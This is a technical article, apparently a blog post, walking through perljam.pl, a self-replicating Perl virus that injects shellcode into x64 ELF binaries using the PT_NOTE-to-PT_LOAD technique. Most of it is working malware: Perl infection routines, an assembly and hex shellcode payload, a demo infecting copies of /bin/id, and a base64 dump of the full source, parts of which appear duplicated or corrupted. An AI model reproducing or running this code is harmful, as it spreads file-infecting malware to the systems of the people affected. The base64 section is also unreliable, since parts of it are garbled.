perljam.pl: A Perl x64 ELF virus

hckng.org/articles/perljam-elf64-virus.html

[intro]

EHLO

This article describes the implementation of perljam.pl, a proof-of-concept x64 ELF virus written in Perl based mostly on Linux.Midrashim [1]. The virus includes the following features and limitations:

- It uses the PT_NOTE to PT_LOAD ELF injection technique.
- It uses a non-destructive hardcoded payload that prints an extract from the song "release" by Pearl Jam and then infects other binaries in the current directory.
- It works on regular and position independent binaries.
- It is written in Perl, an interpreted language available by default on most Linux x64 distributions.
- It does not implement any evasion or obfuscation techniques, making it trivial to detect.

A plain text version of this article can be found here.

Source code:

https://git.sr.ht/~hckng/vx/tree/master/item/perljam.pl
https://github.com/ilv/vx/blob/main/perljam.pl (mirror)

IMPORTANT NOTE: perljam.pl was made for educational purposes only, I'm not responsible for any misuse or damage caused by this program. Use it at your own risk.

[part 1: infection]

The infection is performed using the well known "PT_NOTE to PT_LOAD" technique[2] which overwrites an auxiliary segment in the program headers table and converts it into a loadable segment where executable instructions can be placed without affecting program execution. This method works both on regular and position independent binaries with the exception of golang executables that use PT_NOTE segment for storing data used during execution.

The infection algorithm can be summarized as follows:

- a) Read the binary and parse its ELF header and program headers table.
- b) Calculate the address for loading a payload in memory.
- c) Change binary's entry point to the previous calculated address.
- d) Find a PT_NOTE segment and convert it to an executable PT_LOAD segment.
- e) Adjust PT_LOAD segment's virtual address, file size and memory size.
- f) Append payload after the binary's code.
- g) Calculate binary's original entry point relative to the new entry point.
- h) Append an instruction for jumping back to the binary's original entry point.
- i) Append the virus source code at the end of the binary.

Relevant parts of the implementation will be discussed in the next sections.

[read ELF binary and parse its headers]

The binary is opened with the ':raw' pseudo-layer[3] for passing binary data. Two helper subroutines are used for reading and writing content with the 'unpack/pack'[4] functions:

```
# read & unpack
sub ru {
    my $fh  = shift;
    my $tpl = shift;
    my $sz  = shift;

    read $fh, my $buff, $sz;
    return unpack($tpl, $buff);
}

# write & pack
sub wp {
    my $fh   = shift;
    my $tpl  = shift;
    my $sz   = shift;
    my @data = @_;

    syswrite $fh, pack($tpl, @data), $sz;
}
[...]
open my $fh, '<:raw', $file;
```

The above subroutines use a given template ($tpl) for converting data from/to the binary. In this case the following templates are used:

- "C", an unsigned char value (1 byte).

- "a", a string with arbitrary binary data (1 byte).
- "x", a null byte.
- "S", an unsigned short value (2 bytes).
- "I", an unsigned integer value (4 bytes).
- "q", an unsigned quad value (8 bytes).

Using [5] as a reference, reading the binary's headers and checking the ELF magic numbers can be done as follows:

```
my @ehdr = ru($fh, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40);

# for clarity
my ($e_phoff, $e_phentsize, $e_phnum) = ($ehdr[13], $ehdr[17], $ehdr[18]);

# skip non ELFs
# $ehdr[i]  = ei_magi, 0 <= i <= 3
if($ehdr[0] != 127 && $ehdr[1] !~ "E" && $ehdr[2] !~ "L" && $ehdr[3] !~ "F") {
     close $fh;
     next;
}
```

[calculate address and change entry point]

According to [2], the new entry point of the injected payload must be an address far beyond the end of the original program in order to avoid overlap. For simplicity, the value 0xc000000 plus the size of the binary is chosen and then the modified headers are copied into a temporary binary.

```
# file size
my $file_sz = (stat $file)[7];
[...]
my $far_addr = 0xc000000;
$ne_entry = $far_addr + $file_sz;
$oe_entry = $ehdr[12];
$ehdr[12] = $ne_entry;

# create tmp file for copying the modified binary
open my $fh_tmp, '>:raw', "$file.tmp";
wp($fh_tmp, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40, @ehdr);
```

[convert PT_NOTE to PT_LOAD and adjust values]

Next, in order to parse the entries of the program headers table the binary is read on chuncks based on the values $e_phoff, $e_phnum and $e_phentsize obtained from the binary's ELF header. Reference for the expected headers values can be found at [6]:

```
seek $fh, $e_phoff, "SEEK_SET";
seek $fh_tmp, $e_phoff, "SEEK_SET";

# inject the first PT_NOTE segment found
my $found_ptnote = 0;
for (my $i = 0; $i < $e_phnum; $i++) {
    #
    # read program header
    # see https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html
    my @phdr = ru($fh, "I I q q q q q q", $e_phentsize);
    [...]
    wp($fh_tmp, "I I q q q q q q", $e_phentsize, @phdr);
}
```

When a segment of p_type 4 is found (PT_NOTE) the entries values are modified as follows:

- p_type = 1 (for converting it to PT_LOAD)
- p_flags = 5 (for making it executable)
- p_offset = $file_sz; (offset to end of binary, where payload will be appended)
- p_vaddr = $ne_entry (the new entry point calculated above)
- p_filesz += payload size + 5 + virus size (payload + jmp + virus)
- p_memsz += payload size + 5 + virus size (payload + jmp + virus)
- p_align = 2mb (based on [x])

[append payload]

After parsing the entries of the program headers table, the rest of the binary is copied without change, followed by the hardcoded payload (the process of adjusting the payload will be described in part 2).

```
# copy rest of file's content
syswrite $fh_tmp, $_ while(<$fh>);

#
# append payload
#
syswrite $fh_tmp, $payload_prefix;
[...]
# adjust payload
[...]
syswrite $fh_tmp, $payload_suffix;
```

[calculate relative entry point and append jump instruction]

The binary's original entry point relative to the entry point of the injected payload is calculated using the formula described in Linux.Midrashim[1]:

newEntryPoint = originalEntryPoint - (p_vaddr + 5) - virus_size

The jump instruction is then appended using such value:

```
$ne_entry = $oe_entry - ($ne_entry + 5) - $payload_sz;
# 4 bytes only
$ne_entry = $ne_entry & 0xffffffff;
wp($fh_tmp, "C q", 0x9, (0xe9, $ne_entry));
```

[append virus]

To achieve replication, perljamp.pl source code must be appended to the infected binary. To carry out this task, the virus should open itself (using the predefined variable $0) and append its content after the jump instruction. Note that if perljam.pl is executed from an infected binary then a search for the string "#!/usr/bin/perl" must be performed to ensure that only the source code of the virus is copied and not the content of the binary. The virus source code is read before the main loop and it's written on each infection.

```
#
# virus code
#
# search for '#!/usr/bin/perl' first to avoid copying extra data
my $vx;
open my $fh_vx, '<', $0;
while(<$fh_vx>) {
   last if($_ =~ q(#!/usr/bin/perl));
}
$vx  = "#!/usr/bin/perl\n";
$vx .= $_ while(<$fh_vx>);
close $fh_vx;
# virus size
my $vx_sz = length($vx);

[...]
[...]

#
# append virus code
#
syswrite $fh_tmp, "\n".$vx;
```

[overwrite binary]

At this point the virus has created an infected copy of the binary. The final step is to delete the original binary and replace it with the infected copy.

```
close $fh;
close $fh_tmp;

# replace original binary with tmp copy
unlink $file;
copy("$file.tmp", $file);
unlink "$file.tmp";
chmod 0755, $file;
```

[part 2: payload & replication]

The harcoded payload consists of two combined shellcodes. The first one prints to stdout an extract from the song "release" by Pearl Jam. The second one performs the virus replication by running the infected binary as a perl script. For this the perl interpreter must be executed using the -x switch, which according to Perl's documentation[7]:

"tells Perl that the program is embedded in a larger chunk of unrelated text, such as in a mail message. Leading garbage will be discarded until the first line that starts with #! and contains the string 'perl'"

Therefore, an execve syscall for "/usr/bin/perl -x infected_binary" will run the perljam.pl source code embedded in the infected binary. This syscall must be invoked inside a child process (fork) to prevent the interruption of the original program code.

However, the "infected_binary" (filename) argument in the execve syscall needs to change on each infection according to the binary's filename. To achieve this an initial version of the assembly code is compiled using a fixed string of length 255 (maximum filename length on Linux) as the filename argument. This string will be replaced later.

The following assembly code combines the two shellcodes mentioned before:

```
BITS 64
global _start
section .text
_start:
    call main
    db "i am myself, like you somehow", 0xa, 0x0
    db "/usr/bin/perl", 0x0
    db "-x", 0x0
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", 0x0

 main:
    ;;;;;;;;;;;;
    ; print msg
    ;;;;;;;;;;;;
    xor rax, rax
    xor rdx, rdx
    inc al
    mov rdi, rax
    pop rsi
    mov dl, 30
    syscall

    ;;;;;;;;
    ; fork
    ;;;;;;;;
    xor rax, rax
    mov rax, 57
    syscall
    test eax, eax
    jne parent

    ;;;;;;;;;;;;;;;;;;;;;;;;
    ; call perl interpreter
    ;;;;;;;;;;;;;;;;;;;;;;;;

    ; filename "/usr/bin/perl"
    lea rdi, [rsi+31]

    ; argv
    ; ["/usr/bin/perl", "-x", "xxxxx..."] (on reverse)
    xor rdx, rdx
    push rdx
    lea rbx, [rsi+48] ; "xxx..."
    push rbx
    lea rbx, [rsi+45] ; "-x"
    push rbx
    push rdi          ; "/usr/bin/perl"
    mov rsi, rsp
```

```
    ; execve & exit
    xor rax, rax
    mov rax, 59
    mov rdx, 0
    syscall
    xor rdx, rdx
    mov rax, 60
    syscall

 parent:
    ; cleanup for the jmp instruction
    xor rax, rax
    xor rdx, rdx
```

The code is then compiled to extract its hexadecimal representation.

$ nasm -f elf64 -o perljam.o perljam.s
$ objdump -d perljam.o

After this, the harcoded payload is generated by removing the hexadecimal representation of the fixed string (\x78 * 255) and then splitting the remaining shellcode in two: before and after the fixed string.

```
my ($payload_prefix, $payload_suffix);
$payload_prefix  = "\xe8\x30\x01\x00\x00\x69\x20\x61\x6d\x20\x6d\x79\x73\x65";
$payload_prefix .= "\x6c\x66\x2c\x20\x6c\x69\x6b\x65\x20\x79\x6f\x75\x20\x73";
$payload_prefix .= "\x6f\x6d\x65\x68\x6f\x77\x0a\x00\x2f\x75\x73\x72\x2f\x62";
$payload_prefix .= "\x69\x6e\x2f\x70\x65\x72\x6c\x00\x2d\x78\x00";

$payload_suffix  = "\x00\x48\x31\xc0\x48\x31\xd2\xfe\xc0\x48\x89\xc7\x5e\xb2";
$payload_suffix .= "\x1e\x0f\x05\x48\x31\xc0\xb8\x39\x00\x00\x00\x0f\x05\x85";
$payload_suffix .= "\xc0\x75\x2f\x48\x8d\x7e\x1f\x48\x31\xd2\x52\x48\x8d\x5e";
$payload_suffix .= "\x30\x53\x48\x8d\x5e\x2d\x53\x57\x48\x89\xe6\x48\x31\xc0";
$payload_suffix .= "\xb8\x3b\x00\x00\x00\xba\x00\x00\x00\x00\x0f\x05\x48\x31";
$payload_suffix .= "\xd2\xb8\x3c\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\x31\xd2";
```

The payload is adjusted on each infection by inserting the hexadecimal representation of the infected binary's filename plus N null bytes, where:

N = 255 - length(infected binary's filename)

Filling with N null bytes after the infected binary's filename ensures that the payload will not crash on runtime, since adding or removing bytes will break the shellcode. In addition, the first null byte located after the infected binary's filename will be interpreted by the machine as the end of the string and the remaining null values will be ignored.

The adjustment can be done as follows:

```
syswrite $fh_tmp, $payload_prefix;
# adjust payload with target's filename
my @chars = split //, $file;
for(my $i = 0; $i < length($file); $i++) {
    wp($fh_tmp, "C", 0x1, (hex unpack("H2", $chars[$i])));
}
# fill with null values
for(my $i = length($file); $i < 255; $i++) {
    wp($fh_tmp, "C", 0x1, (0x00));
}
syswrite $fh_tmp, $payload_suffix;
```

[part 3: run]

To run:

$ perl perljam.pl

Example:

```
$ cp /bin/id .
$ ./id
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ perl perljam.pl
$ ./id
i am myself, like you somehow
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ cp /bin/id id2
$ ./id2
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ ./id
i am myself, like you somehow
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ ./id2
i am myself, like you somehow
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
```

[part 4: references]

[1] https://www.guitmz.com/linux-midrashim-elf-virus/
[2] https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
[3] https://perldoc.perl.org/PerlIO#:raw
[4] https://perldoc.perl.org/functions/pack
[5] https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
[6] https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html
[7] https://perldoc.perl.org/perlrun#-x

[part 5: the code]

perljam.pl

```
IyEvdXNyL2Jpbi9wZXJsCiMgcGVybGphbS5wbAojIHdyaXR0ZW4gYnkgaXNyYSAtIGlzcmEgX3Jl
cGxhY2VfYnlfQF8gZmFzdG1haWwubmV0IC0gaHR0cHM6Ly9oY2tuZy5vcmcKIwojIGh0dHBzOi8v
aGNrbmcub3JnL2FydGljbGVzL3BlcmxqYW0tZWxmNjQtdmlydXMuaHRtbAojIGh0dHBzOi8vZ2l0
LnNyLmh0L35oY2tuZy92eC90cmVlL21hc3Rlci9pdGVtL3BlcmxqYW0ucGwKIyBodHRwczovL2dp
dGh1Yi5jb20vaWx2L3Z4L2Jsb2IvbWFpbi9wZXJsamFtLnBsCiMgCiMgdmVyc2lvbiAwLjIgLSAw
NC4wOC4yMDIzCiMKIyBBIFBlcmwgeDY0IEVMRiB2aXJ1czoKIyAtIGltcGxlbWVudGF0aW9uIG9m
IFBUX05PVEUgLT4gUFRfTE9BRCBpbmplY3Rpb24gdGVjaG5pcXVlIGZvciB4NjQgRUxGcwojIC0g
d29ya3Mgb24gcG9zaXRpb24gaW5kZXBlbmRlbnQgZXhlY3V0YWJsZXMKIyAtIGl0IGluamVjdHMg
YSBoYXJkY29kZWQgcGF5bG9hZAojIC0gaW5mZWN0cyBmaWxlcyBpbiBjdXJyZW50IGRpcmVjdG9y
eSwgbm9uLXJlY3Vyc2l2ZWx5CiMgLSBzZWxmLXJlcGxpY2FudAojCiMgcnVuIGFzIGZvbGxvd3M6
CiMgLSBwZXJsIHBlcmxqYW0ucGwKIwojIHRoZSBwYXlsb2FkIHByaW50cyB0byBzdGRvdXQgYW4g
ZXh0cmFjdCBmcm9tIHRoZSBzb25nICJyZWxlYXNlIiBieSBQZWFybCBKYW0gCiMgYW5kIHRoZW4g
cmVwbGljYXRlcyB0aGUgdmlydXMgYnkgcnVubmluZyBwZXJsamFtLnBsIHNvdXJjZSBjb2RlIGVt
YmVkZGVkCiMgaW4gdGhlIGluZmVjdGVkIGJpbmFyeQojCiMgdG8gZG86CiMgLSBtb3JlIHRlc3Rp
bmcsIGN1cnJlbnRseSB0ZXN0ZWQgb246CiMgCS0gRGViaWFuIDExLzEyIHg4Nl82NCwgUGVybCB2
NS4zMi4xCiMKIyBwZXJsamFtLnBsIHdhcyBtYWRlIGZvciBlZHVjYXRpb25hbCBwdXJwb3NlcyBv
bmx5LCBJJ20gbm90IHJlc3BvbnNpYmxlCiMgZm9yIGFueSBtaXN1c2Ugb3IgZGFtYWdlIGNhdXNl
ZCBieSB0aGlzIHByb2dyYW0uIFVzZSBpdCBhdCB5b3VyIG93biByaXNrLgojCiMgdGhhbmtzIHRv
IHRtcDB1dCBhbmQgdnh1ZyBmb3IgYWxsIHRoZSByZXNvdXJjZXMKIyAKIHVucGFja2VkIG1haW4gcmVsZWFzZSBpdCBhdCB5b3VyIG93biByaXNrLgojCiMgdGhhbmtzIHRv
IHRtcDB1dCBhbmQgdnh1ZyBmb3IgYWxsIHRoZSByZXNvdXJjZXMKIyAKIwojIG1haW4gcmVmZXJl
bmNlczoKIyAtIGh0dHBzOi8vd3d3Lmd1aXRtei5jb20vbGludXgtbWlkcmFzaGltLWVsZi12aXJ1
cy8KIyAtIGh0dHBzOi8vd3d3LnN5bWJvbGNyYXNoLmNvbS8yMDE5LzAzLzI3L3B0X25vdGUtdG8t
cHRfbG9hZC1pbmplY3Rpb24taW4tZWxmLwojIC0gaHR0cHM6Ly90bXBvdXQuc2gvMS8tL2haXJ1
cy8KIyAtIGh0dHBzOi8vd3d3LnN5bWJvbGNyYXNoLmNvbS8yMDE5LzAzLzI3L3B0X25vdGUtdG8t
cHRfbG9hZC1pbmplY3Rpb24taW4tZWxmLwojIC0gaHR0cHM6Ly90bXBvdXQuc2gvMS8tL2haXJ1
IyAtIGh0dHBzOi8vdG1wb3V0LnNoLzEvMi5odG1sCiMKCnVzZSBzdHJpY3Q7CnVzZSBpbnRlZ2Vy
Owp1c2UgRmlsZTo6Q29weTsKCiMgcmVhZCAmIHVucGFjawpzdWIgcnUgewoJbXkgJGZoICA9IHNo
aWZ0OwoJbXkgJHRwbCA9IHNoaWZ0OwoJbXkgJHN6ICA9IHNoaWZ0OwoKCXJlYWQgJGZoLCBteSAk
YnVmZiwgJHN6OwoJcmV0dXJuIHVucGFjaygkdHBsLCAkYnVmZik7Cn0KCiMgd3JpdGUgJiBwYWNr
CnN1YiB3cCB7CgleSAkZmggICA9IHNoaWZ0OwoJbXkgJHRwbCAgPSBzaGlmdDsKCW15ICRzeiAg
ID0gc2hpZnQ7CgleSAkZmggICA9IHNoaWZ0OwoJbXkgJHRwbCAgPSBzaGlmdDsKCW15ICRzeiAg
YSksICRzejsKfQoKIwojIHBheWxvYWRfc3VmZml4KTsKJHBheWxvYWRfHJlZml4ICA9ICJceGU4XHgzMFx4MDFc
eDAwXHgwMFx4NjlceDIwXHg2MVx4NmRceDIwXHg2ZFx4NzlceDczXHg2NSI7CiRwYXlsb2FkX3By
ZWZpeCAuPSAiXHg2Y1x4NjZceDJjXHgyMFx4NmNceDY5XHg2Ylx4NjVceDIwXHg3OVx4NmZceDc1
XHgyMFx4NzMiOwokcGF5bG9hZF9wcmVmaXggLj0gIlx4NmZceDZkXHg2NVx4NjhceDZmXHg3N1x4
MGFceDAwXHgyZlx4NzVceDczXHg3Mlx4MmZceDYyIjsKJHBheWxvYWRfHJlZml4IC49ICJceDY5
XHg2ZVx4MmZceDcwXHg2NVx4NzJceDZjXHgwMFx4MmRceDc4XHgwMCI7CgokcGF5bG9hZF9zdWZm
aXggID0gIlx4MDBceDQ4XHgzMVx4YzBceDQ4XHgzMVx4ZDJceGZlXHhjMFx4NDhceDg5XHhjN1x4
NWVceGIyIjsKJHBheWxvYWRfc3VmZml4IC49ICJceDFlXHgwZlx4MDVceDQ4XHgzMVx4YzBceGI4
XHgzOVx4MDBceDAwXHgwMFx4MGZceDA1XHg4NSI7CiRwYXlsb2FkX3N1ZmZpeCAuPSAiXHhjMFx4
NzVceDJmXHg0OFx4OGRceDdlXHgxZlx4NDhceDMxXHhkMlx4NTJceDQ4XHg4ZFx4NWUiOwokcGF5
bG9hZF9zdWZmaXggLj0gIlx4MzBceDUzXHg0OFx4OGRceDVlXHgyZFx4NTNceDU3XHg0OFx4ODlc
eGU2XHg0OFx4MzFceGMwIjsKJHBheWxvYWRfc3VmZml4IC49ICJceGI4XHgzYlx4MDBceDAwXHgw
MFx4YmFceDAwXHgwMFx4MDBceDAwXHgwZlx4MDVceDQ4XHgzMSI7CiRwYXlsb2FkX3N1ZmZpeCAu
PSAiXHhkMlx4YjhceDNjXHgwMFx4MDBceDAwXHgwZlx4MDVceDQ4XHgzMVx4YzBceDQ4XHgzMVx4
```

ZDIiOwoKIyBzaXplIGlzIGxlbmd0aCBvZiBwcmVmaXggKyBzdWZmaXggKyBtYXggbGVuZ3RoIG9m
IGZpbGVuYW1lIG9uIExpbnV4Cm15ICRwYXlsb2FkX3N6ID0gMDsKJHBheWxvYWRfc3ogKz0gbGVu
Z3RoKCRwYXlsb2FkX3ByZWZpeCk7CiRwYXlsb2FkX3N6ICs9IGxlbmd0aCgkcGF5bG9hZF9zdWZm
aXgpOwokcGF5bG9hZF9zeiArPSAyNTU7CgojCiMgdmlydXMgY29kZQojCiMgc2VhcmNoIGZvciAn
IyEvdXNyL2Jpbi9wZXJsJyBmaXJzdCB0byBhdm9pZCBjb3B5aW5nIGV4dHJhIGRhdGEKbXkgJHZ4
OwpvcGVuIG15ICRmaF92eCwgJzwnLCAkMDsKd2hpbGUoPCRmaF92eD4pIHsKCWxhc3QgaWYoJF8g
PX4gcSgjIS91c3IvYmluL3BlcmwpKTsKfQokdnggID0gIiMhL3Vzci9iaW4vcGVybFxuIjsKJHZ4
IC49ICRfIHdoaWxlKDwkZmhfdng+KTsKY2xvc2UgJGZoX3Z4OwojIHZpcnVzIHNpemUKbXkgJHZ4
X3N6ID0gbGVuZ3RoKCR2eCk7CgojIGxvb3AgY3VycmVudCBkaXJlY3RvcnkKZm9yZWFjaCBteSAk
ZmlsZShnbG9iIHFxeyIuLyoifSkgewoJIyBmaWxlcyBvbmx5CgluZXh0IGlmKCEtZiAkZmlsZSk7
CglvcGVuIG15ICRmaCwgJzw6cmF3JywgJGZpbGU7CgoJIyBmaWxlIHNpemUKCW15ICRmaWxlX3N6
ID0gKHN0YXQgJGZpbGUpWzddOwoKCSMgb3JpZ2luYWwgYW5kIIG5ldyBlbnRyeSBwb2ludHMKCW15
ICgkb2VfZW50cnksICRuZV9lbnRyeSk7CgoJIwoJIyByZWFkIEVMRiBoZWFkZXIKCSMgc2VlIGh0
dHBzOi8vcmVmc3BlY3MubGludXhmb3VuZGF0aW9uLm9yZy9lbGYvZ2FiaTQrL2NoNC5laGVhZGVy
Lmh0bWwKCW15IEBlaGRyID0gcnVoJGZoLCAiQyBhIGEgYSBDIEMgQyBDIEMgeDcgUyBTIEkgcSBx
IHEgSSBTIFMgUyBTIFMgUyIsIDB4NDApOwoKCSMgZm9yIGNsYXJpdHkKCW15ICgkZV9waG9mZiwg
JGVfcGhlbnRzaXplLCAkZV9waG51bSkgPSAoJGVoZHJbMTNdLCAkZWhkclsxN10sICRlaGRyWzE4
XSk7CgoJIyBza2lwIG5vbiBFTEZzCgkjICRlaGRyW2ldICA9IGVpX21hZ2ksIDAgPD0gaSA8PSAz
CglpZigkZWhkclswXSAhPSAxMjcgJiYgJGVoZHJbMV0gIX4gIkUiICYmICRlaGRyWzJdICF+ICJM
IiAmJiAkZWhkclszXSAhfiAiRiIpIHsKCQljbG9zZSAkZmg7CgkJbmV4dDsKCX0KCgkjIGNoZWNr
IGlmIGJpbmFyeSBoYXMgYWxyZWFkeSBiZWVuIGluZmVjdGVkCglteSAkaW5mZWN0ZWQgPSAwOwoJ
b3BlbiBteSAkZmhfY2hlY2ssICc8OnJhdycsICRmaWxlOwoJd2hpbGUoPCRmaF9jaGVjaz4pIHsK
CQlpZigkXyA9fiBxKCMhL3Vzci9iaW4vcGVybCkpIHsKCQkJJGluZmVjdGVkKys7CgkJCWxhc3Q7
CgkJfQoJfQoJIyBza2lwIGluZmVjdGVkIGZpbGVzCglpZigkaW5mZWN0ZWQpIHsKCQljbG9zZSAk
Zmg7CgkJY2xvc2UgJGZoX2NoZWNrOwoJCW5leHQ7Cgl9CgoJIyBjaGFuZ2UgZW50cnkgcG9pbnQg
KCRlaGRyWzExXSA9IGVfZW50cnkpCgkjIG5ldyBlbnRyeSBwb2ludDogZmFyIGF3YXkgYWRkcmVz
cyArIGJpbmFyeSBzaXplCglteSAkZmFyX2FkZHIgPSAweGMwMDAwMDA7CgkkbmVfZW50cnkgPSAk
ZmFyX2FkZHIgKyAkZmlsZV9zejsKCSRvZV9lbnRyeSA9ICRlaGRyWzExXTsKCSRlaGRyWzExXSA9
ICRuZV9lbnRyeTsKCgkjIGNyZWF0ZSB0bXAgZmlsZSBmb3IgY29weWluZyB0aGUgbW9kaWZpZWQg
YmluYXJ5CglvcGVuIG15ICRmaF90bXAsICc+OnJhdycsICIkZmlsZS50bXAiOwoJd3AoJGZoX3Rt
cCwgIkMgYSBhIGEgQyBDIEMgQyBDIHg3IFMgUyBJIHEgcSBxIEkgUyBTIFMgUyBTIFMiLCAweDQw
LCBAZWhkcik7CgoJc2VlayAkZmgsICRlX3Bob2ZmLCAiU0VFS19TRVQiOwoJc2VlayAkZmhfdG1w
LCAkZV9waG9mZiwgIlNFRUtfU0VUIjsKCgkjIGluamVjdCB0aGUgZmlyc3QgUFRfTk9URSBzZWdt
ZW50IGZvdW5kCglteSAkZm91bmRfcHRub3RlID0gMDsKCWZvciAobXkgJGkgPSAwOyAkaSA8ICRl
X3BobnVtOyAkaSsrKSB7CgkJIwoJCSMgcmVhZCBwcm9ncmFtIGhlYWRlcgoJCSMgc2VlIGh0dHBz
Oi8vcmVmc3BlY3MubGludXhiYXNlLm9yZy9lbGYvZ2FiaTQrL2NoNS5waGVhZGVyLmh0bWwKCQlt
eSBAcGhkciA9IHJ1KCRmaCwgIkkkgSSBxIHEgcSBxIHEgcSIsICRlX3BoZW50c2l6ZSk7CgoJCSMg
UFRfTk9URSBzZWdtZW50IGZvdW5kCgkJaWYoJHBoZHJbMF0gPT0gMHgwMDAwMDAwNCAmJiAhJGZv
dW5kX3B0bm90ZSkgewoJCQkkZm91bmRfcHRub3RlID0gMTsKCgkJCSMgY2hhbmdlIFBUX05PVEUg
dG8gUFRfTE9BRCAocF90eXBlKQoJCQkkcGhkclswXSA9IDB4MDAwMDAwMDE7CgkJCSMgbWFrZSB0
aGUgbmV3IFBUX0xPQUQgc2VnbWVudCBleGVjdXRhYmxlIChwX2ZsYWdzKQoJCQkkcGhkclsxXSA9
IDB4NTsKCQkJIyBjaGFuZ2Ugb2Zmc2V0IHRvIGVuZCBvZiBpbmZlY3RlZCBmaWxlIChwX29mZnNl
dCkKCQkJJHBoZHJbMl0gPSAkZmlsZV9zejsKCQkJIyBjaGFuZ2UgdmlydHVhbCBhZGRyZXNzIHRv
IHRoZSBuZXcgZW50cnkgcG9pbnQgKHBfdmFkZHIpCgkJCSRwaGRyWzNdID0gJG5lX2VudHJ5OwoJ
CQkjIGNoYW5nZSBwX2ZpbGVzeiBhbmQgcF9tZW1zeiAoYWRkIHBheWxvYWQgc2l6ZSArIGptcCAr
IHZ4IHNpemUpCgkJCSRwaGRyWzVdICs9ICRwYXlsb2FkX3N6ICsgNSArICR2eF9zejsKCQkJJHBo
ZHJbNl0gKz0gJHBheWxvYWRfc3ogKyA1ICsgJHZ4X3N6OwoJCQkjIGFsaWduIDJtYiAocF9hbGln
bikKCQkJJHBoZHJbN10gPSAweDIwMDAwMDsKCQl9CgkJd3AoJGZoX3RtcCwgIkkgSSBxIHEgcSBx
IHEgcSIsICRlX3BoZW50c2l6ZSwgQHBoZHIpOwoJfQoKCSMgY29weSByZXN0IG9mIGJpbmFyeSdz
IGNvbnRlbnQKCXN5c3dyaXRlICRmaF90bXAsICRfIHdoaWxlKDwkZmg+KTsKCgkjCgkjIGFwcGVu
ZCBwYXlsb2FkCgkjCglzeXN3cml0ZSAkZmhfdG1wLCAkcGF5bG9hZF9wcmVmaXg7CgkjIGFkanVz
dCBwYXlsb2FkIHdpdGggaW5mZWN0ZWQgYmluYXJ5J3MgZmlsZW5hbWUKCW15IEBjaGFycyA9IHNw

```
bGl0IC8vLCAkZmlsZTsKCWZvcihteSAkaSA9IDA7ICRpIDwgbGVuZ3RoKCRmaWxlKTsgJGkrKykg
ewoJCXdwKCRmaF90bXAsICJDIiwgMHgxLCAoaGV4IHVucGFjaygiSDIiLCAkY2hhcnNbJGldKSkp
OwoJfSAKCSMgZmlsbCB3aXRoIG51bGwgdmFsdWVzCglmb3IobXkgJGkgPSBsZW5ndGgoJGZpbGUp
OyAkaSA8IDI1NTsgJGkrKykgewoJCXdwKCRmaF90bXAsICJDIiwgMHgxLCAoMHgwMCkpOwoJfQoJ
c3lzd3JpdGUgJGZoX3RtcCwgJHBheWxvYWRfc3VmZml4OwoKCSMKCSMgYXBwZW5kIHJlbGF0aXZl
IGptcAoJIwoJIyB0aGUgcmVsYXRpdmUgZW50cnkgcG9pbnQgZm9yIGp1bXBpbmcgYmFjayB0byB0
aGUgYmluYXJ5J3Mgb3JpZ2luYWwKICAgICAgICAjIGNvZGUgaXMgY2FsY3VsYXRlZCB1c2luZyB0
aGUgZm9ybXVsYSBkZXNjcmliZWQgaW4gTGludXguTWlkcmFzaGltOgoJIwoJIyBuZXdFbnRyeVBv
aW50ID0gb3JpZ2luYWxFbnRyeVBvaW50IC0gKHBoZHIudmFkZHIrNSkgLSB2aXJ1c19zaXplCgkj
CgkkbmVfZW50cnkgPSAkb2VfZW50cnkgLSAoJG5lX2VudHJ5ICsgNSkgLSAkcGF5bG9hZF9zejsK
CSMgNCBieXRlcyBvbmx5CgkkbmVfZW50cnkgPSAkbmVfZW50cnkgJiAweGZmZmZmZmZmOwoJd3Ao
JGZoX3RtCwgIkMgcSIsIDB4OSwgKDB4ZTksICRuZV9lbnRyeSkpOwoKCSMgZm9yIC1uby1waWUg
eW91IGNhbiB1c2UgbW92IHJheCwgam1wIHJheCB3aXRoIHRoZSBvcmlnaW5hbCBlbnRyeSBwb2lu
dAoJI3N5c3dyaXRlICRmaF90bXAsIHBhY2soIkMgQyBxIEMgQyIsIDB4NDgsIDB4YjgsICRlX2Vu
dHJ5LCAweGZmLCAweGUwKTsKCgkjCgkjIGFwcGVuZCB2aXJ1cyBjb2RlCgkjCglzeXN3cml0ZSAk
ZmhfdG1wLCAiXG4iLiR2eDsKCgljbG9zZSAkZmg7CgljbG9zZSAkZmhfdG1wOwoKCSMgcmVwbGFj
ZSBvcmlnaW5hbCBiaW5hcnkgd2l0aCB0bXAgY29weQoJdW5saW5rICRmaWxlOwoJY29weSgiJGZp
bGUudG1wIiwgJGZpbGUpOwoJdW5saW5rICIkZmlsZS50bXAiOwoJY2htb2QgMDc1NSwgJGZpbGU7
Cn0=
```

perljam.s

OyBwZXJsamFtLnMKOyB3cml0dGVuIGJ5IGlzcmEgLSBpc3JhIF9yZXBsYWNlX2J5X0BfIGZhc3Rt
YWlsLm5ldCAtIGh0dHBzOi8vaGNrbmcub3JnCjsKOyBodHRwczovL2hja25nLm9yZy9hcnRpY2xl
cy9wZXJsamFtLWVsZjY0LXZpcnVzLmh0bWwKOyBodHRwczovL2dpdC5zci5odC9+aGNrbmcvdngv
dHJlZS9tYXN0ZXIvaXRlbS9wZXJsamFtLnMKOyBodHRwczovL2dpdGh1Yi5jb20vaWx2L3Z4L2Js
